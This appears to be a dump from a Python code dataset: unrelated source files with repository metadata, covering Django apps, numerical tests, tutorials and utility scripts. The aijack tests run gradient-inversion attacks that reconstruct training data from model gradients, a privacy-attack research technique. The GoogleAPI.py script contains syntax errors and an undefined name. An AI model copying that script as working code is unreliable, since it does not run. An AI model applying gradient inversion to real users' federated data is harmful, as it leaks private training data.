26.833333
64
0.606625
6655014e014f94baa9831858d8be81d8816adb27
971
py
Python
Integrations/python/functional-tests/numba_vectorized_filter_test.py
devinrsmith/deephaven-core
3a6930046faf1cd556f62a914ce1cfd7860147b9
[ "MIT" ]
55
2021-05-11T16:01:59.000Z
2022-03-30T14:30:33.000Z
Integrations/python/functional-tests/numba_vectorized_filter_test.py
devinrsmith/deephaven-core
3a6930046faf1cd556f62a914ce1cfd7860147b9
[ "MIT" ]
943
2021-05-10T14:00:02.000Z
2022-03-31T21:28:15.000Z
Integrations/python/functional-tests/numba_vectorized_filter_test.py
devinrsmith/deephaven-core
3a6930046faf1cd556f62a914ce1cfd7860147b9
[ "MIT" ]
29
2021-05-10T11:33:16.000Z
2022-03-30T21:01:54.000Z
# # Copyright (c) 2016-2021 Deephaven Data Labs and Patent Pending # import unittest from numba import vectorize, int64, int32, int16, boolean, short from deephaven import TableTools import bootstrap @vectorize([boolean(int64, int64)]) def vectorized_func(x, y): return x % 2 > y % 5 @vectorize([short(int64, int...
26.243243
95
0.668383
b0c1560631820b6974fae6f9510c6aac5957ab13
522
py
Python
main/migrations/0005_auto_20210322_2025.py
KumarPython/Sentdex-Tutorial-2
bc5854bd24582cba643f1468c930293a772cec5e
[ "Apache-2.0" ]
null
null
null
main/migrations/0005_auto_20210322_2025.py
KumarPython/Sentdex-Tutorial-2
bc5854bd24582cba643f1468c930293a772cec5e
[ "Apache-2.0" ]
null
null
null
main/migrations/0005_auto_20210322_2025.py
KumarPython/Sentdex-Tutorial-2
bc5854bd24582cba643f1468c930293a772cec5e
[ "Apache-2.0" ]
null
null
null
# Generated by Django 3.1.5 on 2021-03-22 14:55 from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): dependencies = [ ('main', '0004_auto_20210322_2023'), ] operations = [ migrations.AlterField( model_name='tutorial...
26.1
145
0.659004
af2387bb572a3a55938ef72df56f38f30ea1805c
1,762
py
Python
tutorials/numerical_computation/model/run.py
w-ghub/demos
6382676fae89bd5a190626612712fcedf17bca6d
[ "MIT" ]
56
2020-07-08T23:23:15.000Z
2022-03-11T20:43:09.000Z
tutorials/numerical_computation/model/run.py
w-ghub/demos
6382676fae89bd5a190626612712fcedf17bca6d
[ "MIT" ]
41
2020-07-11T23:24:06.000Z
2022-01-28T13:28:07.000Z
tutorials/numerical_computation/model/run.py
w-ghub/demos
6382676fae89bd5a190626612712fcedf17bca6d
[ "MIT" ]
39
2020-07-15T11:35:04.000Z
2022-02-01T16:02:51.000Z
import pandas as pd from .sys_params import initial_values from model import config from cadCAD.engine import ExecutionMode, ExecutionContext,Executor from cadCAD import configs def run(): ''' Definition: Run simulation ''' # Single exec_mode = ExecutionMode() local_mode_ctx = ExecutionCon...
33.884615
106
0.687855
3c0616daaa429798cc11a317b3fac5acafc0d239
549
py
Python
migratory_birds.py
nirobio/puzzles
fda8c84d8eefd93b40594636fb9b7f0fde02b014
[ "MIT" ]
null
null
null
migratory_birds.py
nirobio/puzzles
fda8c84d8eefd93b40594636fb9b7f0fde02b014
[ "MIT" ]
null
null
null
migratory_birds.py
nirobio/puzzles
fda8c84d8eefd93b40594636fb9b7f0fde02b014
[ "MIT" ]
null
null
null
#!/bin/python3 import math import os import random import re import sys from collections import Counter #https://www.hackerrank.com/challenges/migratory-birds/problem def migratoryBirds(arr): arr.sort() freq = Counter(arr) maximum = (max(freq, key=freq.get)) return maximum if __name__ == '__main__...
17.15625
62
0.663024
3c4e0bbe6b88f97953d06860a0af0ed143865af3
1,183
py
Python
Versuch2/task2.2.py
Tobias-Schoch/SSS
f8b078ca7f6482fc7c89d5f9e784a549459eefb7
[ "MIT" ]
null
null
null
Versuch2/task2.2.py
Tobias-Schoch/SSS
f8b078ca7f6482fc7c89d5f9e784a549459eefb7
[ "MIT" ]
null
null
null
Versuch2/task2.2.py
Tobias-Schoch/SSS
f8b078ca7f6482fc7c89d5f9e784a549459eefb7
[ "MIT" ]
1
2022-01-06T12:47:53.000Z
2022-01-06T12:47:53.000Z
import numpy as np import cv2 # -------- Aufgabe2.2 -------- # # Vector für das Korrekturbild korrigiertes_bild = np.zeros((480, 640)) # Bild des Grauwertkeils einlesen und in Schwarz-Weiß umwandeln grey = cv2.imread('data/Versuch1a.png', cv2.IMREAD_GRAYSCALE) # Bild des Pixelweisen Mittelwerts einlesen blackavg = c...
31.972973
63
0.696534
3c8a23c99786c71f165787052dbb8f4be3d0ad33
1,207
py
Python
authApp/views/detailUserView.py
xlausae/Web-Service
fbc4b45f34fe5ac69d8da2ffe09e5c32046e27d5
[ "MIT" ]
null
null
null
authApp/views/detailUserView.py
xlausae/Web-Service
fbc4b45f34fe5ac69d8da2ffe09e5c32046e27d5
[ "MIT" ]
1
2022-01-05T23:52:37.000Z
2022-01-05T23:52:37.000Z
authApp/views/detailUserView.py
xlausae/Web-Service
fbc4b45f34fe5ac69d8da2ffe09e5c32046e27d5
[ "MIT" ]
null
null
null
from django.conf import settings from rest_framework import generics, status from rest_framework.response import Response from rest_framework.permissions import IsAuthenticated from rest_framework_simplejwt.backends import TokenBackend from authApp.models....
46.423077
82
0.689312
3c9b5ed2056fbaeb26d247d8e8bf2d6ea38a7eac
3,126
py
Python
Scripts/buildOpenAPI.py
HuttonICS/API
22d61759a77f2ab3c4e610bb251684c78f71d2e6
[ "MIT" ]
40
2016-09-13T12:54:11.000Z
2021-09-05T18:45:38.000Z
Scripts/buildOpenAPI.py
HuttonICS/API
22d61759a77f2ab3c4e610bb251684c78f71d2e6
[ "MIT" ]
351
2016-08-10T17:58:38.000Z
2021-09-15T12:19:48.000Z
Scripts/buildOpenAPI.py
HuttonICS/API
22d61759a77f2ab3c4e610bb251684c78f71d2e6
[ "MIT" ]
32
2016-09-09T16:04:01.000Z
2021-01-21T13:27:40.000Z
#! /usr/bin/env python # --------------------------------------------READ ME------------------------------------------------------- # Run this script to combine all the pieces of the the BrAPI specification into a single swagger file. # ----------------------------------------------------------------------------------...
35.931034
108
0.545425
b1d3d96145ad4c71661b2d10274ea0600f2139b1
3,278
py
Python
.venv/Lib/site-packages/dexpy/tests/test_simplex_lattice.py
AI-Assistant/FEMAG-Python
ff86e8f41485ae9df6034e6b8e810b59f8094c70
[ "MIT" ]
21
2016-10-19T18:13:03.000Z
2021-11-02T13:58:31.000Z
.venv/Lib/site-packages/dexpy/tests/test_simplex_lattice.py
AI-Assistant/FEMAG-Python
ff86e8f41485ae9df6034e6b8e810b59f8094c70
[ "MIT" ]
43
2016-10-11T20:56:28.000Z
2020-08-20T16:39:38.000Z
.venv/Lib/site-packages/dexpy/tests/test_simplex_lattice.py
AI-Assistant/FEMAG-Python
ff86e8f41485ae9df6034e6b8e810b59f8094c70
[ "MIT" ]
6
2017-12-22T03:47:37.000Z
2021-03-13T03:45:26.000Z
from unittest import TestCase from dexpy.simplex_lattice import build_simplex_lattice from dexpy.eval import det_xtxi from dexpy.model import make_model, ModelOrder import numpy as np import patsy class TestSimplexLattice(TestCase): @classmethod def test_linear(cls): """Checks the optimality of linear...
43.706667
73
0.590604
e9c5e6be9597416e5e96eee881858468cb500ad5
11,734
py
Python
test/attack/inversion/test_gradientinversion.py
luoshenseeker/AIJack
4e871a5b3beb4b7c976d38060d6956efcebf880d
[ "MIT" ]
24
2021-11-17T02:16:47.000Z
2022-03-27T01:04:08.000Z
test/attack/inversion/test_gradientinversion.py
luoshenseeker/AIJack
4e871a5b3beb4b7c976d38060d6956efcebf880d
[ "MIT" ]
9
2021-12-03T06:09:27.000Z
2022-03-29T06:33:53.000Z
test/attack/inversion/test_gradientinversion.py
luoshenseeker/AIJack
4e871a5b3beb4b7c976d38060d6956efcebf880d
[ "MIT" ]
5
2022-01-12T09:58:04.000Z
2022-03-17T09:29:04.000Z
def test_dlg(): import torch import torch.nn as nn from aijack.attack import GradientInversion_Attack class LeNet(nn.Module): def __init__(self, channel=3, hideen=768, num_classes=10): super(LeNet, self).__init__() act = nn.Sigmoid self.body = nn.Sequential(...
32.594444
86
0.611641
75e5e511a7b4ebaa2e7335363919b0fcae6c101b
4,191
py
Python
python/en/_numpy/dn-numpy_vectorize.py
aimldl/coding
70ddbfaa454ab92fd072ee8dc614ecc330b34a70
[ "MIT" ]
null
null
null
python/en/_numpy/dn-numpy_vectorize.py
aimldl/coding
70ddbfaa454ab92fd072ee8dc614ecc330b34a70
[ "MIT" ]
null
null
null
python/en/_numpy/dn-numpy_vectorize.py
aimldl/coding
70ddbfaa454ab92fd072ee8dc614ecc330b34a70
[ "MIT" ]
null
null
null
#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ dn-numpy_vectorize.py [numpy.vectorize](https://docs.scipy.org/doc/numpy/reference/generated/numpy.vectorize.html) class numpy.vectorize(pyfunc, otypes=None, doc=None, excluded=None, cache=False, signature=None)[source] Define a vectorized function which takes a nest...
27.754967
312
0.646147
f9eab480dcf214df12e6cd1b46224ff9af638db5
4,350
py
Python
python/en/_numpy/python_numpy_tutorial/python_numpy_tutorial-numpy_broadcasting.py
aimldl/coding
70ddbfaa454ab92fd072ee8dc614ecc330b34a70
[ "MIT" ]
null
null
null
python/en/_numpy/python_numpy_tutorial/python_numpy_tutorial-numpy_broadcasting.py
aimldl/coding
70ddbfaa454ab92fd072ee8dc614ecc330b34a70
[ "MIT" ]
null
null
null
python/en/_numpy/python_numpy_tutorial/python_numpy_tutorial-numpy_broadcasting.py
aimldl/coding
70ddbfaa454ab92fd072ee8dc614ecc330b34a70
[ "MIT" ]
null
null
null
#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ CS231n Convolutional Neural Networks for Visual Recognition http://cs231n.github.io/ Python Numpy Tutorial http://cs231n.github.io/python-numpy-tutorial/ Numpy Reference https://docs.scipy.org/doc/numpy/reference/  ̄ python_numpy_tutorial-numpy_broadcasting.py 2019-07...
25.588235
220
0.634253
34ae3764f51a65325eb704822574867b97653135
34,421
py
Python
large_vocab_adt_dafx2018/model_configurations.py
mcartwright/dafx2018_adt
057ac6b1e39cd0c80554d52535cc9d88b6316c74
[ "BSD-2-Clause" ]
6
2019-02-28T05:43:58.000Z
2021-03-02T17:05:13.000Z
large_vocab_adt_dafx2018/model_configurations.py
mcartwright/dafx2018_adt
057ac6b1e39cd0c80554d52535cc9d88b6316c74
[ "BSD-2-Clause" ]
null
null
null
large_vocab_adt_dafx2018/model_configurations.py
mcartwright/dafx2018_adt
057ac6b1e39cd0c80554d52535cc9d88b6316c74
[ "BSD-2-Clause" ]
1
2020-02-07T17:10:40.000Z
2020-02-07T17:10:40.000Z
#!/usr/bin/env python # -*- coding: utf-8 -*- class BaseModelConfiguration(object): """ Model configuration class that specifies variations of a model when training Attributes ---------- name : str The configuration name config_id : int The id of the configuration model_ar...
48.617232
94
0.519218
9b504eba5f8061d16459bd804cd0d27b0e599d01
2,196
py
Python
jumeaux/addons/parser.py
ihatov08/jumeaux
7d983474df4b6dcfa57ea1a66901fbc99ebababa
[ "MIT" ]
11
2017-10-02T01:29:12.000Z
2022-03-31T08:37:22.000Z
jumeaux/addons/parser.py
ihatov08/jumeaux
7d983474df4b6dcfa57ea1a66901fbc99ebababa
[ "MIT" ]
79
2017-07-16T14:47:17.000Z
2022-03-31T08:49:14.000Z
jumeaux/addons/parser.py
ihatov08/jumeaux
7d983474df4b6dcfa57ea1a66901fbc99ebababa
[ "MIT" ]
2
2019-01-28T06:11:58.000Z
2021-01-25T07:21:21.000Z
# -*- coding:utf-8 -*- import html.parser class HTMLToDictParser(html.parser.HTMLParser): """ Original is http://www.xavierdupre.fr/blog/2013-10-27_nojs.html """ def __init__(self, raise_exception=True): html.parser.HTMLParser.__init__(self) self.doc = {} self.path = [] ...
30.929577
122
0.514572
fd2288bc89f8e2c8328facae2a6b8348f1021ea4
316
py
Python
python_playground/analysis/workload.py
RapidsAtHKUST/SimRank
3a601b08f9a3c281e2b36b914e06aba3a3a36118
[ "MIT" ]
8
2020-04-14T23:17:00.000Z
2021-06-21T12:34:04.000Z
python_playground/analysis/workload.py
RapidsAtHKUST/SimRank
3a601b08f9a3c281e2b36b914e06aba3a3a36118
[ "MIT" ]
null
null
null
python_playground/analysis/workload.py
RapidsAtHKUST/SimRank
3a601b08f9a3c281e2b36b914e06aba3a3a36118
[ "MIT" ]
1
2021-01-17T16:26:50.000Z
2021-01-17T16:26:50.000Z
def compute_pair_num(v_num): return v_num ** 2 / 2 - v_num if __name__ == '__main__': v_num_dict = { 'ca-GrQc': 5242, 'ca-HepTh': 9877, 'p2p-Gnutella06': 8717, 'wiki-Vote': 7115 } for key, v_num in v_num_dict.iteritems(): print key, compute_pair_num(v_num)
21.066667
45
0.572785
b5faea80f2a1cf4a08771e139f1237e21381dfd8
714
py
Python
RedirectedLoginSession/util/template_context.py
kkysen/Soft-Dev
b19881b1fcc9c7daefc817e6b975ff6bce545d81
[ "Apache-2.0" ]
null
null
null
RedirectedLoginSession/util/template_context.py
kkysen/Soft-Dev
b19881b1fcc9c7daefc817e6b975ff6bce545d81
[ "Apache-2.0" ]
null
null
null
RedirectedLoginSession/util/template_context.py
kkysen/Soft-Dev
b19881b1fcc9c7daefc817e6b975ff6bce545d81
[ "Apache-2.0" ]
null
null
null
import sys context = sys.modules[__name__].__dict__ # type: dict[str, any] def splat(): # type: () -> dict[str, any] return context def if_else(first, a, b): # type: (bool, any, any) -> any """ Functional equivalent of conditional expression. :param first: True or False :param a: to b...
18.789474
64
0.579832
1fb6fff11957e50591b6e00a9b0bebd38ef71b68
4,081
py
Python
tools/legacy/pac-man/sspm-gui.py
gifted-nguvu/darkstar-dts-converter
aa17a751a9f3361ca9bbb400ee4c9516908d1297
[ "MIT" ]
2
2020-03-18T18:23:27.000Z
2020-08-02T15:59:16.000Z
tools/legacy/pac-man/sspm-gui.py
gifted-nguvu/darkstar-dts-converter
aa17a751a9f3361ca9bbb400ee4c9516908d1297
[ "MIT" ]
5
2019-07-07T16:47:47.000Z
2020-08-10T16:20:00.000Z
tools/legacy/pac-man/sspm-gui.py
gifted-nguvu/darkstar-dts-converter
aa17a751a9f3361ca9bbb400ee4c9516908d1297
[ "MIT" ]
1
2020-03-18T18:23:30.000Z
2020-03-18T18:23:30.000Z
import glob import os import sys import json import tkinter.messagebox as msg import importlib.util from types import SimpleNamespace from collections import namedtuple UiModule = namedtuple("UiModule", "name module") def getDefaultStatus(): result = None recipes = glob.glob("recipes/*.json") if len(rec...
35.181034
222
0.716981
1f46418a895e773fe8423c540a9b91cca2e96d51
2,467
py
Python
plugins/bundler/bundler.py
fernanluis/fernanluis.github.io
eb063d40f2893fb9dd5b22662f343827aa6b157a
[ "MIT" ]
1
2021-02-15T12:19:44.000Z
2021-02-15T12:19:44.000Z
plugins/bundler/bundler.py
fernanluis/fernanluis.github.io
eb063d40f2893fb9dd5b22662f343827aa6b157a
[ "MIT" ]
null
null
null
plugins/bundler/bundler.py
fernanluis/fernanluis.github.io
eb063d40f2893fb9dd5b22662f343827aa6b157a
[ "MIT" ]
null
null
null
import os from pathlib import Path from pelican import signals # Function extracted from https://stackoverflow.com/a/19308592/7690767 # Las tres funciones que le dan toda la funcionalidad al plugin def get_filepaths(directory, extensions=[], ignores=[]): # ignore es una lista de archivo que se deben ignorar file_p...
41.116667
148
0.706931
c06d0e3d2a238b4ac6e63b25cb553a199412207d
3,764
py
Python
GoogleAPI.py
illy777/Python_uebungen
0106ebd8885974c0e22549688e33c49ddbbff179
[ "Unlicense" ]
null
null
null
GoogleAPI.py
illy777/Python_uebungen
0106ebd8885974c0e22549688e33c49ddbbff179
[ "Unlicense" ]
null
null
null
GoogleAPI.py
illy777/Python_uebungen
0106ebd8885974c0e22549688e33c49ddbbff179
[ "Unlicense" ]
null
null
null
import googlemaps import urllib import json import csv import os if os.path.exists(CredentialsGoogle) is True: b = input("Dein Key ist immernoch der Gleiche, möchtest du ihn ändern? J/N: ") if b = "J" New_API = input("Bitte gib neuen API_Key ein: ") with open(CredentialsGoogle, 'w') as f: ...
40.042553
126
0.685972
f1b07ce452f69fe7dd5ba59b6ea308c7956b2d09
293
py
Python
SBTK_League_Helper/src/tools/decorators.py
juanchodepisa/sbtk
7cba7748e75a02b491e551d6c1be9bd7987c5051
[ "MIT" ]
null
null
null
SBTK_League_Helper/src/tools/decorators.py
juanchodepisa/sbtk
7cba7748e75a02b491e551d6c1be9bd7987c5051
[ "MIT" ]
null
null
null
SBTK_League_Helper/src/tools/decorators.py
juanchodepisa/sbtk
7cba7748e75a02b491e551d6c1be9bd7987c5051
[ "MIT" ]
null
null
null
def class_initializer(Class): # I don't know why there isn't a normal convention for this. convention = "__initClass__" #convention = "_%s%s" % (Class.__name__, convention) # mangled name, not necessary in this case method = getattr(Class, convention) method() return Class
48.833333
99
0.706485
f1e643cf44a508a681116c9a9d72d4f6d65ea78b
602
py
Python
src/onegov/town/theme/town_theme.py
politbuero-kampagnen/onegov-cloud
20148bf321b71f617b64376fe7249b2b9b9c4aa9
[ "MIT" ]
null
null
null
src/onegov/town/theme/town_theme.py
politbuero-kampagnen/onegov-cloud
20148bf321b71f617b64376fe7249b2b9b9c4aa9
[ "MIT" ]
null
null
null
src/onegov/town/theme/town_theme.py
politbuero-kampagnen/onegov-cloud
20148bf321b71f617b64376fe7249b2b9b9c4aa9
[ "MIT" ]
null
null
null
from onegov.core.utils import module_path from onegov.org.theme import OrgTheme from onegov.org.theme.org_theme import HELVETICA # options editable by the user user_options = { 'primary-color': '#006fba', 'font-family-sans-serif': HELVETICA } class TownTheme(OrgTheme): name = 'onegov.town.foundation' ...
21.5
72
0.674419
7b5250311ee63a8b76717d10a062aa77a7e45a28
1,071
py
Python
src/classifier/torch_helpers/torch_dataloader.py
krangelie/bias-in-german-nlg
9fbaf50fde7d41d64692ae90c41beae61bc78d44
[ "MIT" ]
14
2021-08-24T12:36:37.000Z
2022-03-18T12:14:36.000Z
src/classifier/torch_helpers/torch_dataloader.py
krangelie/bias-in-german-nlg
9fbaf50fde7d41d64692ae90c41beae61bc78d44
[ "MIT" ]
null
null
null
src/classifier/torch_helpers/torch_dataloader.py
krangelie/bias-in-german-nlg
9fbaf50fde7d41d64692ae90c41beae61bc78d44
[ "MIT" ]
1
2021-10-21T20:22:55.000Z
2021-10-21T20:22:55.000Z
import pandas as pd import torch from collections import Counter from torchtext.vocab import Vocab from torch.utils.data import TensorDataset, DataLoader, Dataset import multiprocessing as mp device = torch.device("cuda" if torch.cuda.is_available() else "cpu") class RegardDataset(Dataset): def __init__(self, da...
25.5
69
0.662932
c8a373e88c55a30a577828e12ea2daff38795c14
119
py
Python
ProjectEuler_plus/euler_016.py
byung-u/HackerRank
4c02fefff7002b3af774b99ebf8d40f149f9d163
[ "MIT" ]
null
null
null
ProjectEuler_plus/euler_016.py
byung-u/HackerRank
4c02fefff7002b3af774b99ebf8d40f149f9d163
[ "MIT" ]
null
null
null
ProjectEuler_plus/euler_016.py
byung-u/HackerRank
4c02fefff7002b3af774b99ebf8d40f149f9d163
[ "MIT" ]
null
null
null
#!/usr/bin/env python3 t = int(input()) for i in range(t): n = int(input()) print(sum(map(int, str(2 ** n))))
17
37
0.546218
b54af3ff0d56072e8b37cbbc708961470a090200
5,770
py
Python
tests/web.adblockplus.org/data/dataRedirects.py
adblockplus/web.adblockplus.org
c2c570ce4f4296afc3577afe233c6b23b128f206
[ "MIT" ]
9
2016-01-29T18:05:29.000Z
2021-10-06T04:21:55.000Z
tests/web.adblockplus.org/data/dataRedirects.py
adblockplus/web.adblockplus.org
c2c570ce4f4296afc3577afe233c6b23b128f206
[ "MIT" ]
9
2015-04-06T19:03:32.000Z
2019-05-28T13:34:55.000Z
tests/web.adblockplus.org/data/dataRedirects.py
adblockplus/web.adblockplus.org
c2c570ce4f4296afc3577afe233c6b23b128f206
[ "MIT" ]
18
2015-04-06T17:42:31.000Z
2021-10-06T04:26:29.000Z
TEST_DATA_ABPO = [( '/en', '/en/', ), ( '/android', '/', ), ( '/chrome', '/', ), ( '/edge', '/', ), ( '/firefox', '/', ), ( '/internet-explorer', '/', ), ( '/opera', '/', ), ( '/safari', '/', ), ( '/yandex-browser', ...
21.691729
79
0.530156
a95884813ed4f3a08a68e5cfa2a1fbbadbbe1525
3,325
py
Python
infrastructure/kctf/base/nsjail-docker/files/proof_of_work/pow.py
iicarus-bit/google-ctf
4eb8742bca58ff071ff8f6814d41d9ec7eb1db4b
[ "Apache-2.0" ]
null
null
null
infrastructure/kctf/base/nsjail-docker/files/proof_of_work/pow.py
iicarus-bit/google-ctf
4eb8742bca58ff071ff8f6814d41d9ec7eb1db4b
[ "Apache-2.0" ]
null
null
null
infrastructure/kctf/base/nsjail-docker/files/proof_of_work/pow.py
iicarus-bit/google-ctf
4eb8742bca58ff071ff8f6814d41d9ec7eb1db4b
[ "Apache-2.0" ]
null
null
null
#!/usr/bin/env python3 # -*- coding: utf-8 -*- import base64 import secrets import socket import sys VERSION = 's' MODULUS = 2**1279-1 CHALSIZE = 2**128 SOLVER_URL = 'https://github.com/google/google-ctf/blob/master/infrastructure/kctf/base/nsjail-docker/proof_of_work/pow.py' def stdin_is_localhost_socket(): tr...
26.388889
123
0.590376
8d2e3b9f9334ca27d863c7d0f5c3d870eba312c4
4,045
py
Python
api/wsgi/src/devices/ecg/services.py
easyCZ/SLIP-A-2015
ad386df9c438d93ec89f68c63d3deda12d27d1ed
[ "MIT" ]
2
2020-06-08T19:17:10.000Z
2020-06-08T20:45:07.000Z
api/wsgi/src/devices/ecg/services.py
easyCZ/SLIP-A-2015
ad386df9c438d93ec89f68c63d3deda12d27d1ed
[ "MIT" ]
14
2015-10-07T09:31:50.000Z
2022-02-23T07:34:10.000Z
api/wsgi/src/devices/ecg/services.py
easyCZ/SLIP-A-2015
ad386df9c438d93ec89f68c63d3deda12d27d1ed
[ "MIT" ]
null
null
null
from project import settings import requests import math class EcgFirebaseService(object): URL = settings.FIREBASE_URL + '/devices/%s/raw_ecg.json' def __init__(self, device_id): self.device_id = device_id self.params = { 'orderBy': '"$key"' } self.url = self.URL %...
29.100719
202
0.632386
8d45f5699eb2419ed024e2b314e12ab63db36f29
2,121
py
Python
Curso_Python/Secao9-Django-Projeto-Agenda-163-183/projeto_agenda/contatos/views.py
pedrohd21/Cursos-Feitos
b223aad83867bfa45ad161d133e33c2c200d42bd
[ "MIT" ]
null
null
null
Curso_Python/Secao9-Django-Projeto-Agenda-163-183/projeto_agenda/contatos/views.py
pedrohd21/Cursos-Feitos
b223aad83867bfa45ad161d133e33c2c200d42bd
[ "MIT" ]
null
null
null
Curso_Python/Secao9-Django-Projeto-Agenda-163-183/projeto_agenda/contatos/views.py
pedrohd21/Cursos-Feitos
b223aad83867bfa45ad161d133e33c2c200d42bd
[ "MIT" ]
null
null
null
from django.shortcuts import render, get_object_or_404, redirect #import o error from django.http import Http404 # Importa o error from .models import Contato # Importar as classes que ta no modelss from django.core.paginator import Paginator ## Quando for fazer paginação importa o Paginator from django.db.mode...
37.875
96
0.673739
a5d3fd7bda29593a22191b9dda1ee1aa9ecf7c2a
2,330
py
Python
plugins/tff_backend/utils/__init__.py
threefoldfoundation/app_backend
b3cea2a3ff9e10efcc90d3d6e5e8e46b9e84312a
[ "Apache-2.0" ]
null
null
null
plugins/tff_backend/utils/__init__.py
threefoldfoundation/app_backend
b3cea2a3ff9e10efcc90d3d6e5e8e46b9e84312a
[ "Apache-2.0" ]
178
2017-08-02T12:58:06.000Z
2017-12-20T15:01:12.000Z
plugins/tff_backend/utils/__init__.py
threefoldfoundation/app_backend
b3cea2a3ff9e10efcc90d3d6e5e8e46b9e84312a
[ "Apache-2.0" ]
2
2018-01-10T10:43:12.000Z
2018-03-18T10:42:23.000Z
# -*- coding: utf-8 -*- # Copyright 2017 GIG Technology NV # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable...
25.053763
74
0.704292
574d34c31e64c7a685033bf198360b4be387d5ff
1,632
py
Python
migrations/versions/9db14947d300_.py
DanielGrams/cityservice
c487c34b5ba6541dcb441fe903ab2012c2256893
[ "MIT" ]
null
null
null
migrations/versions/9db14947d300_.py
DanielGrams/cityservice
c487c34b5ba6541dcb441fe903ab2012c2256893
[ "MIT" ]
35
2022-01-24T22:15:59.000Z
2022-03-31T15:01:35.000Z
migrations/versions/9db14947d300_.py
DanielGrams/cityservice
c487c34b5ba6541dcb441fe903ab2012c2256893
[ "MIT" ]
null
null
null
"""empty message Revision ID: 9db14947d300 Revises: 200a0947f146 Create Date: 2022-04-04 19:25:01.034091 """ import sqlalchemy as sa import sqlalchemy_utils from alembic import op from project import dbtypes from project.models import PushPlatform # revision identifiers, used by Alembic. revision = "9db14947d300" d...
30.792453
83
0.650735
93c278c5f15695d2c862a6eb361fde806e55f44f
3,998
py
Python
clean_edges.py
YueYvetteHao/Sandbox
db2b8b0e751bfb7d86e7f2506fb81a75f8c3a3e5
[ "MIT" ]
null
null
null
clean_edges.py
YueYvetteHao/Sandbox
db2b8b0e751bfb7d86e7f2506fb81a75f8c3a3e5
[ "MIT" ]
null
null
null
clean_edges.py
YueYvetteHao/Sandbox
db2b8b0e751bfb7d86e7f2506fb81a75f8c3a3e5
[ "MIT" ]
null
null
null
#!/usr/bin/python # Resolve conflicting paralogon connection import sys from paralogon_graph import get_paralog_node edgefile = sys.argv[1] global Edges Edges = {} file = open(edgefile, 'r') for line in file: line = line.rstrip("\n") array = line.split("\t") if int(array[2]) > 1: if array[0] not in Edges: E...
25.303797
95
0.611556
93e9169d79ce91f6d4d9790382a94100afd4ef0d
1,358
py
Python
DnD/character.py
austinmh12/DiscordBots
55550b68a7ad6423de55e62dbbff93fd88f08ff2
[ "MIT" ]
null
null
null
DnD/character.py
austinmh12/DiscordBots
55550b68a7ad6423de55e62dbbff93fd88f08ff2
[ "MIT" ]
null
null
null
DnD/character.py
austinmh12/DiscordBots
55550b68a7ad6423de55e62dbbff93fd88f08ff2
[ "MIT" ]
null
null
null
from discord.ext import commands import asyncio from oauth2client.service_account import ServiceAccountCredentials as SAC import gspread import logging import typing scope = ['https://spreadsheets.google.com/feeds','https://www.googleapis.com/auth/drive'] cred = SAC.from_json_keyfile_name('dndbot_scopes.json', scope) ...
35.736842
104
0.772459
f518b5ffd392dc03cb1c95e32cedc9ff2984645d
1,615
py
Python
brick/config.py
xsank/bottle
4c228043ea31811fffd8eb30914d025c1fd43dc0
[ "MIT" ]
9
2015-01-06T01:32:43.000Z
2017-03-01T18:34:54.000Z
brick/config.py
jude90/bottle
4c228043ea31811fffd8eb30914d025c1fd43dc0
[ "MIT" ]
null
null
null
brick/config.py
jude90/bottle
4c228043ea31811fffd8eb30914d025c1fd43dc0
[ "MIT" ]
4
2015-02-05T09:48:43.000Z
2016-02-22T15:04:35.000Z
''' Created on 2013-4-21 @author: Xsank ''' from httplib import responses DEBUG=True TEMPLATE_PATH=['./','./template/'] TEMPLATES={} HTTP_CODES=responses MEMFILE_MAX = 1024*100 LOG_FILE='brick.log' LOG_FORMAT=( '-' * 80 + '\n' + '%(levelname)s in %(module)s [%(pathname)s:%(lineno)d]:\n' + '%...
29.363636
97
0.539319
f5a3e865e1cda41a5e0560a9b8d543987b5c0d1c
1,244
py
Python
src/bo4e/com/regionalepreisstaffel.py
bo4e/BO4E-python
28b12f853c8a496d14b133759b7aa2d6661f79a0
[ "MIT" ]
1
2022-03-02T12:49:44.000Z
2022-03-02T12:49:44.000Z
src/bo4e/com/regionalepreisstaffel.py
bo4e/BO4E-python
28b12f853c8a496d14b133759b7aa2d6661f79a0
[ "MIT" ]
21
2022-02-04T07:38:46.000Z
2022-03-28T14:01:53.000Z
src/bo4e/com/regionalepreisstaffel.py
bo4e/BO4E-python
28b12f853c8a496d14b133759b7aa2d6661f79a0
[ "MIT" ]
null
null
null
""" Contains RegionalePreisstaffel class and corresponding marshmallow schema for de-/serialization """ import attr from marshmallow import fields from bo4e.com.preisstaffel import Preisstaffel, PreisstaffelSchema from bo4e.com.regionalegueltigkeit import RegionaleGueltigkeit, RegionaleGueltigkeitSchema # pylint: d...
34.555556
197
0.792605
f5a8bb8eb85072882fe61f504e61740a8c08045b
5,475
py
Python
10.3389/fevo.2021.762173/scripts/crop_images.py
jqsunac/doi
c5912a40c7bfda8270e5d51fbdd82a9f0650bd23
[ "MIT" ]
null
null
null
10.3389/fevo.2021.762173/scripts/crop_images.py
jqsunac/doi
c5912a40c7bfda8270e5d51fbdd82a9f0650bd23
[ "MIT" ]
null
null
null
10.3389/fevo.2021.762173/scripts/crop_images.py
jqsunac/doi
c5912a40c7bfda8270e5d51fbdd82a9f0650bd23
[ "MIT" ]
null
null
null
import os import sys import re import glob import shutil from PIL import Image from PIL import ImageFile from PIL import ExifTags import PIL.ImageOps ImageFile.LOAD_TRUNCATED_IMAGES = True def get_jpeg_info(img_fpath): lat = None lng = None capture_date = None im = Image.open(img_fpath) exif = ...
32.981928
104
0.493333
1951b61e66144e7d92ab0a1f298aabf8882d6466
1,729
py
Python
Packs/EWS/Scripts/GetEWSFolder/GetWESFolder_test.py
diCagri/content
c532c50b213e6dddb8ae6a378d6d09198e08fc9f
[ "MIT" ]
799
2016-08-02T06:43:14.000Z
2022-03-31T11:10:11.000Z
Packs/EWS/Scripts/GetEWSFolder/GetWESFolder_test.py
diCagri/content
c532c50b213e6dddb8ae6a378d6d09198e08fc9f
[ "MIT" ]
9,317
2016-08-07T19:00:51.000Z
2022-03-31T21:56:04.000Z
Packs/EWS/Scripts/GetEWSFolder/GetWESFolder_test.py
diCagri/content
c532c50b213e6dddb8ae6a378d6d09198e08fc9f
[ "MIT" ]
1,297
2016-08-04T13:59:00.000Z
2022-03-31T23:43:06.000Z
